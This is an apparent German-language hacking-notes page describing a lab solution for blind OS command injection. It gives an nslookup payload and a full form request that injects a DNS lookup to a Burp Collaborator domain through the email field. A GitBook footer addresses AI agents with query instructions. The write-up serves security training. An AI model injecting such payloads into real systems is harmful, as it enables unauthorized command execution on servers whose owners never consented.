> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/command-injection/blind-command-injection-with-oob-interaction.md).

# Blinde Befehlsinjektion mit OOB-Interaktion

### Blinde OS-Befehlsinjektion mit Out-of-band-Interaktion

Dieses Labor präsentiert eine Schwachstelle zur Injektion blinder Systembefehle in eine Feedback-Funktionalität. / Die Anwendung führt einen Shell-Befehl aus, der aus vom Benutzer bereitgestellten Daten erstellt wird. Diese Ausführung ist **asynchron** und beeinflusst nicht die von der Anwendung zurückgegebene Antwort. Es ist nicht möglich, die Ausgabe des Befehls an einen zugänglichen Ort umzuleiten. Andererseits ist es möglich, **Out-of-Band-Interaktionen (OOB)** an eine externe Domain zu verursachen.

Das Ziel des Labs ist es, diese Injektion zu verwenden, um die Anwendung dazu zu bringen, eine \*\* DNS\*\*-Anfrage an eine Burp-Collaborator-Domain auszuführen.

#### **Vorgehensweise**

`nslookup` wird verwendet, um eine ausgehende Anfrage zu erzeugen. / Die Injektion erfolgt in einem der Formularfelder, indem der Befehl mit `;` um die ursprüngliche Syntax zu brechen.

Beispiel des getesteten Befehls:

```
nslookup
```

Injizierte Nutzlast:

<pre><code><strong>;nslookup IP;
</strong></code></pre>

Wenn die Injektion funktioniert, erhalten wir die Anfrage in Burp Collaborator.

#### **Beispiel einer vollständigen Anfrage**

{% code overflow="wrap" %}

```bash
csrf=2GdzmbhNzU7HHOj8pOZUwUfJ1s0EIbjP&name=test&email=test%40test.com.com;nslookup v51x9gtodb5n35252oddaichm8szgq4f.oastify.com;&subject=test&message=test.com
```

{% endcode %}

Diese Nutzlast löst eine DNS-Anfrage an die kontrollierte Domain aus und bestätigt damit die blinde OOB-Injektion.

<figure><img src="/files/c88a5dd8913083f0fcaa8a1381247e7acf09bd74" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/command-injection/blind-command-injection-with-oob-interaction.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
